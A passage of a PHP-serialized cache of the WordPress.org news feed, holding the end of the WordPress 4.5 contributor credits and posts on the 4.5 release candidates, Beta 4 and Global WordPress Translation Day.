<a href="https://profiles.wordpress.org/eherman24">Evan Herman</a>, <a href="https://profiles.wordpress.org/fab1en">Fabien Quatravaux</a>, <a href="https://profiles.wordpress.org/faishal">faishal</a>, <a href="https://profiles.wordpress.org/fantasyworld">fantasyworld</a>, <a href="https://profiles.wordpress.org/flixos90">Felix Arntz</a>, <a href="https://profiles.wordpress.org/finnj">finnj</a>, <a href="https://profiles.wordpress.org/firebird75">firebird75</a>, <a href="https://profiles.wordpress.org/frozzare">Fredrik Forsmo</a>, <a href="https://profiles.wordpress.org/fusillicode">fusillicode</a>, <a href="https://profiles.wordpress.org/garyj">Gary Jones</a>, <a href="https://profiles.wordpress.org/pento">Gary Pendergast</a>, <a href="https://profiles.wordpress.org/gblsm">gblsm</a>, <a href="https://profiles.wordpress.org/georgestephanis">George Stephanis</a>, <a href="https://profiles.wordpress.org/garusky">Giuseppe Mamone</a>, <a href="https://profiles.wordpress.org/jubstuff">Giustino Borzacchiello</a>, <a href="https://profiles.wordpress.org/grantpalin">Grant Palin</a>, <a href="https://profiles.wordpress.org/groovecoder">groovecoder</a>, <a href="https://profiles.wordpress.org/wido">Guido Scialfa</a>, <a href="https://profiles.wordpress.org/bordoni">Gustavo Bordoni</a>, <a href="https://profiles.wordpress.org/hakre">hakre</a>, <a href="https://profiles.wordpress.org/helen">Helen Hou-Sandí</a>, <a href="https://profiles.wordpress.org/henrywright">Henry Wright</a>, <a href="https://profiles.wordpress.org/hnle">Hinaloe</a>, <a href="https://profiles.wordpress.org/hlashbrooke">Hugh Lashbrooke</a>, <a href="https://profiles.wordpress.org/hugobaeta">Hugo Baeta</a>, <a href="https://profiles.wordpress.org/polevaultweb">Iain Poulson</a>, <a href="https://profiles.wordpress.org/igmoweb">Ignacio Cruz Moreno</a>, <a href="https://profiles.wordpress.org/imath">imath</a>, <a href="https://profiles.wordpress.org/iamntz">Ionut Staicu</a>, <a href="https://profiles.wordpress.org/ivankristianto">Ivan Kristianto</a>, <a href="https://profiles.wordpress.org/jdgrimes">J.D. Grimes</a>, <a href="https://profiles.wordpress.org/jadpm">jadpm</a>, <a href="https://profiles.wordpress.org/jamesdigioia">James DiGioia</a>, <a href="https://profiles.wordpress.org/jason_the_adams">Jason</a>, <a href="https://profiles.wordpress.org/jaspermdegroot">Jasper de Groot</a>, <a href="https://profiles.wordpress.org/cheffheid">Jeffrey de Wit</a>, <a href="https://profiles.wordpress.org/jeffpyebrookcom">Jeffrey Schutzman</a>, <a href="https://profiles.wordpress.org/jmdodd">Jennifer M. Dodd</a>, <a href="https://profiles.wordpress.org/jeremyfelt">Jeremy Felt</a>, <a href="https://profiles.wordpress.org/jeherve">Jeremy Herve</a>, <a href="https://profiles.wordpress.org/jpry">Jeremy Pry</a>, <a href="https://profiles.wordpress.org/jesin">Jesin A</a>, <a href="https://profiles.wordpress.org/ardathksheyna">Jess G.</a>, <a href="https://profiles.wordpress.org/boluda">Joan Boluda</a>, <a href="https://profiles.wordpress.org/joehoyle">Joe Hoyle</a>, <a href="https://profiles.wordpress.org/joemcgill">Joe McGill</a>, <a href="https://profiles.wordpress.org/joelerr">joelerr</a>, <a href="https://profiles.wordpress.org/johnbillion">John Blackbourn</a>, <a href="https://profiles.wordpress.org/johnjamesjacoby">John James Jacoby</a>, <a href="https://profiles.wordpress.org/johnnypea">JohnnyPea</a>, <a href="https://profiles.wordpress.org/jbrinley">Jonathan Brinley</a>, <a href="https://profiles.wordpress.org/spacedmonkey">Jonny Harris</a>, <a href="https://profiles.wordpress.org/keraweb">Jory Hogeveen</a>, <a href="https://profiles.wordpress.org/joefusco">Joseph Fusco</a>, <a href="https://profiles.wordpress.org/joshlevinson">Josh Levinson</a>, <a href="https://profiles.wordpress.org/shelob9">Josh Pollock</a>, <a href="https://profiles.wordpress.org/jrchamp">jrchamp</a>, <a href="https://profiles.wordpress.org/jrf">jrf</a>, <a href="https://profiles.wordpress.org/juanfra">Juanfra Aldasoro</a>, <a href="https://profiles.wordpress.org/juhise">Juhi Saxena</a>, <a href="https://profiles.wordpress.org/juliobox">Julio Potier</a>, <a href="https://profiles.wordpress.org/katieburch">katieburch</a>, <a href="https://profiles.wordpress.org/ryelle">Kelly Dwan</a>, <a href="https://profiles.wordpress.org/khag7">Kevin Hagerty</a>, <a href="https://profiles.wordpress.org/kiranpotphode">Kiran Potphode</a>, <a href="https://profiles.wordpress.org/kwight">Kirk Wight</a>, <a href="https://profiles.wordpress.org/ixkaito">Kite</a>, <a href="https://profiles.wordpress.org/kjbenk">kjbenk</a>, <a href="https://profiles.wordpress.org/kovshenin">Konstantin Kovshenin</a>, <a href="https://profiles.wordpress.org/obenland">Konstantin Obenland</a>, <a href="https://profiles.wordpress.org/kouratoras">Konstantinos Kouratoras</a>, <a href="https://profiles.wordpress.org/krissiev">KrissieV</a>, <a href="https://profiles.wordpress.org/lancewillett">Lance Willett</a>, <a href="https://profiles.wordpress.org/leemon">leemon</a>, <a href="https://profiles.wordpress.org/layotte">Lew Ayotte</a>, <a href="https://profiles.wordpress.org/liamdempsey">Liam Dempsey</a>, <a href="https://profiles.wordpress.org/luan-ramos">Luan Ramos</a>, <a href="https://profiles.wordpress.org/luciole135">luciole135</a>, <a href="https://profiles.wordpress.org/lpawlik">Lukas Pawlik</a>, <a href="https://profiles.wordpress.org/latz">Lutz Schr&#246;er</a>, <a href="https://profiles.wordpress.org/madvic">madvic</a>, <a href="https://profiles.wordpress.org/marcochiesi">Marco Chiesi</a>, <a href="https://profiles.wordpress.org/tyxla">Marin Atanasov</a>, <a href="https://profiles.wordpress.org/nofearinc">Mario Peshev</a>, <a href="https://profiles.wordpress.org/mark8barnes">Mark Barnes</a>, <a href="https://profiles.wordpress.org/markjaquith">Mark Jaquith</a>, <a href="https://profiles.wordpress.org/mapk">Mark Uraine</a>, <a href="https://profiles.wordpress.org/markoheijnen">Marko Heijnen</a>, <a href="https://profiles.wordpress.org/gitlost">Martin Burke</a>, <a href="https://profiles.wordpress.org/mattfelten">Matt Felten</a>, <a href="https://profiles.wordpress.org/matt">Matt Mullenweg</a>, <a href="https://profiles.wordpress.org/mattwiebe">Matt Wiebe</a>, <a href="https://profiles.wordpress.org/mattgeri">MattGeri</a>, <a href="https://profiles.wordpress.org/maweder">maweder</a>, <a href="https://profiles.wordpress.org/mayukojpn">Mayo Moriyama</a>, <a href="https://profiles.wordpress.org/mcapybara">mcapybara</a>, <a href="https://profiles.wordpress.org/mehulkaklotar">Mehul Kaklotar</a>, <a href="https://profiles.wordpress.org/meitar">Meitar</a>, <a href="https://profiles.wordpress.org/mensmaximus">mensmaximus</a>, <a href="https://profiles.wordpress.org/michael-arestad">Michael Arestad</a>, <a href="https://profiles.wordpress.org/michalzuber">michalzuber</a>, <a href="https://profiles.wordpress.org/micropat">micropat</a>, <a href="https://profiles.wordpress.org/ipstenu">Mika Epstein</a>, <a href="https://profiles.wordpress.org/mdgl">Mike Glendinning</a>, <a href="https://profiles.wordpress.org/mikehansenme">Mike Hansen</a>, <a href="https://profiles.wordpress.org/mikejolley">Mike Jolley</a>, <a href="https://profiles.wordpress.org/dimadin">Milan Dinić</a>, <a href="https://profiles.wordpress.org/morganestes">Morgan Estes</a>, <a href="https://profiles.wordpress.org/mt8biz">moto hachi ( mt8.biz )</a>, <a href="https://profiles.wordpress.org/usermrpapa">Mr Papa</a>, <a href="https://profiles.wordpress.org/mwidmann">mwidmann</a>, <a href="https://profiles.wordpress.org/nexurium">nexurium</a>, <a href="https://profiles.wordpress.org/niallkennedy">Niall Kennedy</a>, <a href="https://profiles.wordpress.org/nicdford">Nic Ford</a>, <a href="https://profiles.wordpress.org/celloexpressions">Nick Halsey </a>, <a href="https://profiles.wordpress.org/rabmalin">Nilambar Sharma</a>, <a href="https://profiles.wordpress.org/ninos-ego">Ninos</a>, <a href="https://profiles.wordpress.org/oaron">oaron</a>, <a href="https://profiles.wordpress.org/overclokk">overclokk</a>, <a href="https://profiles.wordpress.org/swissspidy">Pascal Birchler</a>, <a href="https://profiles.wordpress.org/obrienlabs">Pat O''Brien</a>, <a href="https://profiles.wordpress.org/pbearne">Paul Bearne</a>, <a href="https://profiles.wordpress.org/pauldewouters">Paul de Wouters</a>, <a href="https://profiles.wordpress.org/sirbrillig">Payton Swick</a>, <a href="https://profiles.wordpress.org/perezlabs">Perez Labs</a>, <a href="https://profiles.wordpress.org/gungeekatx">Pete Nelson</a>, <a href="https://profiles.wordpress.org/peterwilsoncc">Peter Wilson</a>, <a href="https://profiles.wordpress.org/cadeyrn">petermolnar</a>, <a href="https://profiles.wordpress.org/walbo">Petter Walb&#248; Johnsg&#229;rd</a>, <a href="https://profiles.wordpress.org/wizzard_">Pieter</a>, <a href="https://profiles.wordpress.org/mordauk">Pippin Williamson</a>, <a href="https://profiles.wordpress.org/ptahdunbar">Pirate Dunbar</a>, <a href="https://profiles.wordpress.org/prettyboymp">prettyboymp</a>, <a href="https://profiles.wordpress.org/profforg">Profforg</a>, <a href="https://profiles.wordpress.org/programmin">programmin</a>, <a href="https://profiles.wordpress.org/rachelbaker">Rachel Baker</a>, <a href="https://profiles.wordpress.org/rahalaboulfeth">rahal.aboulfeth</a>, <a href="https://profiles.wordpress.org/ramiy">Rami Yushuvaev</a>, <a href="https://profiles.wordpress.org/lamosty">Rastislav Lamos</a>, <a href="https://profiles.wordpress.org/rickalee">Ricky Lee Whittemore</a>, <a href="https://profiles.wordpress.org/ritteshpatel">Ritesh Patel</a>, <a href="https://profiles.wordpress.org/rob">rob</a>, <a href="https://profiles.wordpress.org/rogerhub">Roger Chen</a>, <a href="https://profiles.wordpress.org/romsocial">RomSocial</a>, <a href="https://profiles.wordpress.org/ruudjoyo">Ruud Laan</a>, <a href="https://profiles.wordpress.org/ryan">Ryan Boren</a>, <a href="https://profiles.wordpress.org/ryankienstra">Ryan Kienstra</a>, <a href="https://profiles.wordpress.org/rmccue">Ryan McCue</a>, <a href="https://profiles.wordpress.org/welcher">Ryan Welcher</a>, <a href="https://profiles.wordpress.org/sagarjadhav">Sagar Jadhav</a>, <a href="https://profiles.wordpress.org/salcode">Sal Ferrarello</a>, <a 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href="https://profiles.wordpress.org/shinichin">Shinichi Nishikawa</a>, <a href="https://profiles.wordpress.org/sidati">Sidati</a>, <a href="https://profiles.wordpress.org/siobhan">Siobhan</a>, <a href="https://profiles.wordpress.org/aargh-a-knot">sky</a>, <a href="https://profiles.wordpress.org/slushman">slushman</a>, <a href="https://profiles.wordpress.org/smerriman">smerriman</a>, <a href="https://profiles.wordpress.org/stephanethomas">stephanethomas</a>, <a href="https://profiles.wordpress.org/netweb">Stephen Edgar</a>, <a href="https://profiles.wordpress.org/stephenharris">Stephen Harris</a>, <a href="https://profiles.wordpress.org/stevegrunwell">Steve Grunwell</a>, <a href="https://profiles.wordpress.org/stevenkword">Steven Word</a>, <a href="https://profiles.wordpress.org/charlestonsw">Store Locator Plus</a>, <a href="https://profiles.wordpress.org/subharanjan">Subharanjan</a>, <a href="https://profiles.wordpress.org/sudar">Sudar Muthu</a>, <a href="https://profiles.wordpress.org/5um17">Sumit Singh</a>, <a href="https://profiles.wordpress.org/tacoverdo">Taco Verdonschot</a>, <a href="https://profiles.wordpress.org/tahteche">tahteche</a>, <a href="https://profiles.wordpress.org/iamtakashi">Takashi Irie</a>, <a href="https://profiles.wordpress.org/takayukister">Takayuki Miyoshi</a>, <a href="https://profiles.wordpress.org/karmatosed">Tammie Lister</a>, <a href="https://profiles.wordpress.org/tharsheblows">tharsheblows</a>, <a href="https://profiles.wordpress.org/themiked">theMikeD</a>, <a href="https://profiles.wordpress.org/thomaswm">thomaswm</a>, <a href="https://profiles.wordpress.org/timothyblynjacobs">Timothy Jacobs</a>, <a href="https://profiles.wordpress.org/timplunkett">timplunkett</a>, <a href="https://profiles.wordpress.org/tmuikku">tmuikku</a>, <a href="https://profiles.wordpress.org/skithund">Toni Viemer&#246;</a>, <a href="https://profiles.wordpress.org/toro_unit">Toro_Unit (Hiroshi Urabe)</a>, <a href="https://profiles.wordpress.org/liljimmi">Tracy Levesque</a>, <a href="https://profiles.wordpress.org/rilwis">Tran Ngoc Tuan Anh</a>, <a href="https://profiles.wordpress.org/wpsmith">Travis Smith</a>, <a href="https://profiles.wordpress.org/tywayne">Ty Carlson</a>, <a href="https://profiles.wordpress.org/grapplerulrich">Ulrich</a>, <a href="https://profiles.wordpress.org/utkarshpatel">Utkarsh</a>, <a href="https://profiles.wordpress.org/vhomenko">vhomenko</a>, <a href="https://profiles.wordpress.org/virgodesign">virgodesign</a>, <a href="https://profiles.wordpress.org/vladolaru">vlad.olaru</a>, <a href="https://profiles.wordpress.org/voldemortensen">voldemortensen</a>, <a href="https://profiles.wordpress.org/vtieu">vtieu</a>, <a href="https://profiles.wordpress.org/webaware">webaware</a>, <a href="https://profiles.wordpress.org/wesleye">Wesley Elfring</a>, <a href="https://profiles.wordpress.org/westonruter">Weston Ruter</a>, <a href="https://profiles.wordpress.org/wisdmlabs">WisdmLabs</a>, <a href="https://profiles.wordpress.org/wpdelighter">WP Delighter</a>, <a href="https://profiles.wordpress.org/wp-architect">wp-architect</a>, <a href="https://profiles.wordpress.org/xavortm">xavortm</a>, <a href="https://profiles.wordpress.org/yetanotherdaniel">yetAnotherDaniel</a>, and <a href="https://profiles.wordpress.org/zinigor">zinigor</a>.\n<p>&nbsp;</p>\n<p>Special thanks go to <a href="http://siobhanmckeown.com/">Siobhan McKeown</a> for producing the release video and <a href="https://jacklenox.com">Jack Lenox</a> for the voice-over.</p>\n<p>Finally, thanks to all of the contributors who provided translations for the release. WordPress 4.5 comes fully translated into 44 languages and the release video has been translated into 32 languages!</p>\n<p>If you want to follow along or help out, check out <a href="https://make.wordpress.org/">Make WordPress</a> and our <a href="https://make.wordpress.org/core/">core development blog</a>. Thanks for choosing WordPress. See you soon for version 4.6!</p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:39:"\n		\n		\n		\n		\n				\n		\n		\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:17:"WordPress 4.5 RC2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:53:"https://wordpress.org/news/2016/04/wordpress-4-5-rc2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 10 Apr 2016 05:14:28 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:3:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:3:"4.5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4186";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:350:"The second release candidate for WordPress 4.5 is now available. We&#8217;ve made 91 changes since the first release candidate. RC means we think we’re done, but with millions of users and thousands of plugins and themes, it’s possible we’ve missed something. We hope to ship WordPress 4.5 on Tuesday, April 12, but we need your help [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Mike Schroder";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:3044:"<p>The second release candidate for WordPress 4.5 is now available.</p>\n<p>We&#8217;ve made <a href="https://core.trac.wordpress.org/log/trunk?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=37171&amp;stop_rev=37078&amp;limit=120&amp;verbose=on">91 changes</a> since the first release candidate. RC means we think we’re done, but with millions of users and thousands of plugins and themes, it’s possible we’ve missed something. We hope to ship WordPress 4.5 on <strong>Tuesday, April 12</strong>, but we need your help to get there.</p>\n<p>If you haven’t tested 4.5 yet, now is the time!</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href="https://wordpress.org/support/forum/alphabeta/">Alpha/Beta support forum</a>. If any known issues come up, you&#8217;ll be able to <a href="https://core.trac.wordpress.org/report/5">find them here</a>.</p>\n<p>To test WordPress 4.5, you can use the <a href="https://wordpress.org/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin or you can <a href="https://wordpress.org/wordpress-4.5-RC2.zip">download the release candidate here</a> (zip).</p>\n<p>For more information about what’s new in version 4.5, check out the <a href="https://wordpress.org/news/2016/02/wordpress-4-5-beta-1/">Beta 1</a>, <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-2/">Beta 2</a>, <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-3/">Beta 3</a>, and <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-4/">Beta 4</a> blog posts.</p>\n<p><strong>Developers</strong>, please test your plugins and themes against WordPress 4.5 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.5. If you find compatibility problems, we never want to break things, so please be sure to post to the support forums so we can figure those out before the final release.</p>\n<p><strong>Polyglots</strong>, strings are now hard frozen, including the About Page, so you are clear to translate!</p>\n<p>A few changes of note since the first release candidate:</p>\n<ul>\n<li>Normalized non-slashing of data in the REST API infrastructure. If you use the REST API infrastructure, <a href="https://make.wordpress.org/core/2016/04/06/rest-api-slashed-data-in-wordpress-4-4-and-4-5/">check out the post on this change</a>.</li>\n<li>Customizer settings for widget instances get registered a bit later to give a chance for the widget instances themselves to be registered first. See <a href="https://core.trac.wordpress.org/ticket/36431">#36431</a> for details.</li>\n<li>Fixed various cropping issues in the Custom Logo feature and Twenty Fifteen / Twenty Sixteen themes.</li>\n</ul>\n<p>Be sure to <a href="https://make.wordpress.org/core/">follow along the core development blog</a>, where you can find the <a href="https://make.wordpress.org/core/2016/03/30/wordpress-4-5-field-guide/">Field Guide for 4.5</a>.</p>\n<p><em>It&#8217;s great fun to test</em><br />\n<em>Enjoyment in another</em><br />\n<em>Release Candidate</em></p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:33:"\n		\n		\n		\n		\n				\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"Contributor Weekend: Global WordPress Translation Day";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"https://wordpress.org/news/2016/04/contributor-weekend-global-wordpress-translation-day/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 07 Apr 2016 21:04:39 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:9:"Community";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4191";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:378:"Global WordPress Translation Day is a one-day contributor initiative organised by the WordPress project’s Polyglots team that is dedicated to helping new contributors who would like to translate WordPress in one of the 160 languages WordPress is available in. Global WordPress Translation Day will be on Sunday, April 24th, starting at 0:00 UTC and will go on for [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Josepha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:3069:"<p class="p1"><span class="s1">Global WordPress Translation Day is a one-day contributor initiative organised </span><span class="s1">by the WordPress project’s </span><span class="s1"> <a href="https://make.wordpress.org/polyglots"><span class="s2">Polyglots team</span></a> that is dedicated to helping new contributors who would like to translate WordPress in one of the 160 languages WordPress is available in.</span></p>\n<p class="p1"><span class="s1">Global WordPress Translation Day will be on Sunday, April 24th, starting at 0:00 UTC and will go on for 24 hours covering all time zones.</span></p>\n<p class="p3"><span class="s1"><b>What are we doing?</b></span></p>\n<ul class="ul1">\n<li class="li1"><span class="s1"><span class="s1">Live training: A 24h live streaming of tutorials about translating WordPress in different languages and making your code translatable (30min/1h sessions in different languages including a general instruction and specifics for that particular language). The </span></span><span class="s1">internationalization </span>sessions will be in English. The sessions will be presented by some of the most experienced WordPress translators and internationalization experts. The Schedule can be found on the website.</li>\n<li class="li1"><span class="s1">Local translation contributor days: Groups of contributors gather at different locations and work face to face.</span></li>\n<li class="li1"><span class="s1">Local remote translation contributor days: Current translation teams dedicate time and get involved remotely to do orientation for their potential contributors or work with their current translation teams on translating as many strings as they can.</span></li>\n</ul>\n<p class="p1"><span class="s1">If you organise a local meetup, why not organise a contributor day for translating in your language?</span></p>\n<p class="p3"><span class="s1"><b>Join us! Read about the initiative and </b><a href="https://make.wordpress.org/polyglots/2016/03/02/wordpress-global-translation-day-april-24th-2016/"><span class="s3"><b>sign up as an organiser</b></span></a><b>.</b></span></p>\n<p class="p3"><span class="s1"><b>Can I get involved if I only speak English?</b></span></p>\n<p class="p1"><span class="s1">Yes! Even if you only speak English, it would be great to get involved and check out some of the English locale variants &#8211; English as spoken in the United Kingdom, Canada, New Zealand, Australia, South Africa. English has many variants across the globe and you can learn about the differences and why it&#8217;s important that users have the option to choose a variant during some of our sessions. And if you&#8217;re in a funky mood, you can give translating the interface into Emoji a try! Yes, we have a WordPress in Emoji locale!</span></p>\n<p class="p3"><span class="s1"><b>Questions?</b></span></p>\n<p class="p1"><span class="s1">The polyglots team and the event organisers hang out in <a href="http://wordpress.slack.com/messages/polyglots/">#Polyglots in Slack</a>. They will gladly help you out.</span></p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:39:"\n		\n		\n		\n		\n				\n		\n		\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:31:"WordPress 4.5 Release Candidate";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"https://wordpress.org/news/2016/03/wordpress-4-5-release-candidate/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 24 Mar 2016 03:50:27 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:3:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:3:"4.5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4165";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:344:"The release candidate for WordPress 4.5 is now available. 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RC means we think we’re done, but with millions of users and thousands of plugins and themes, it’s possible we’ve missed something. We hope to ship WordPress 4.5 on <strong>Tuesday, April 12</strong>, but we need your help to get there.</p>\n<p>If you haven’t tested 4.5 yet, now is the time!</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href="https://wordpress.org/support/forum/alphabeta/">Alpha/Beta support forum</a>. If any known issues come up, you&#8217;ll be able to <a href="https://core.trac.wordpress.org/report/5">find them here</a>.</p>\n<p>To test WordPress 4.5, you can use the <a href="https://wordpress.org/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin or you can <a href="https://wordpress.org/wordpress-4.5-RC1.zip">download the release candidate here</a> (zip).</p>\n<p>For more information about what’s new in version 4.5, check out the <a href="https://wordpress.org/news/2016/02/wordpress-4-5-beta-1/">Beta 1</a>, <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-2/">Beta 2</a>, <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-3/">Beta 3</a>, and <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-4/">Beta 4</a> blog posts.</p>\n<p><strong>Developers</strong>, please test your plugins and themes against WordPress 4.5 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.5 before next week. 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This is the final <a href="https://make.wordpress.org/core/version-4-5-project-schedule/">planned beta</a> of WordPress 4.5, with a release candidate scheduled for next week.</p>\n<p>Some of the changes in Beta 4 include:</p>\n<ul>\n<li>Add support for oEmbed <strong>moments and timelines from Twitter</strong> (<a href="https://core.trac.wordpress.org/ticket/36197">#36197</a>).</li>\n<li>More changes to better support <strong>HHVM with Imagick</strong>.<strong> </strong>Please test with HHVM setups and resizing/rotating images (<a href="https://core.trac.wordpress.org/ticket/35973">#35973</a>).</li>\n<li>Tightened up the <strong>Inline Link</strong> feature (<a href="https://core.trac.wordpress.org/ticket/33301">#33301</a>, <a href="https://core.trac.wordpress.org/ticket/30468">#30468</a>).</li>\n<li>Support <code>&lt;hr&gt;</code> <strong>editor shortcut</strong> with 3 or more dashes (<code>---</code>); no spaces. To give more time to study the best shortcuts for users, text patterns for bold and italic have been removed and won&#8217;t ship with for 4.5 (<a href="https://core.trac.wordpress.org/ticket/33300">#33300</a>).</li>\n<li>Fixes for <strong>SSL with Responsive Images</strong>. Please test with SSL, especially on sites with mixed http/https setups (<a href="https://core.trac.wordpress.org/ticket/34945">#34945</a>).</li>\n<li>Allow rewrite rules to work in nested <strong>WordPress installations on IIS</strong> (<a href="https://core.trac.wordpress.org/ticket/35558">#35558</a>).</li>\n<li><strong>Various bug fixes</strong>. We&#8217;ve made <a href="https://core.trac.wordpress.org/log/?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=37025&amp;stop_rev=36932&amp;limit=200&amp;verbose=on">almost 100 changes</a> during the last week.</li>\n</ul>\n<p><strong>If you think you’ve found a bug</strong>, you can post to the <a href="https://wordpress.org/support/forum/alphabeta" target="_blank">Alpha/Beta area</a> in the support forums. We’d love to hear from you! If you’re comfortable writing a reproducible bug report, <a href="https://make.wordpress.org/core/reports/" target="_blank">file one on the WordPress Trac</a>. There, you can also find <a href="https://core.trac.wordpress.org/tickets/major" target="_blank">a list of known bugs.</a></p>\n<p>Happy testing!</p>\n<p class="p1"><em>Llegamos al fin</em><br />\n<em>del tiempo pa&#8217; beta</em><br />\n<em>¡Pruébalo Ahora!</em></p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:42:"\n		\n		\n		\n		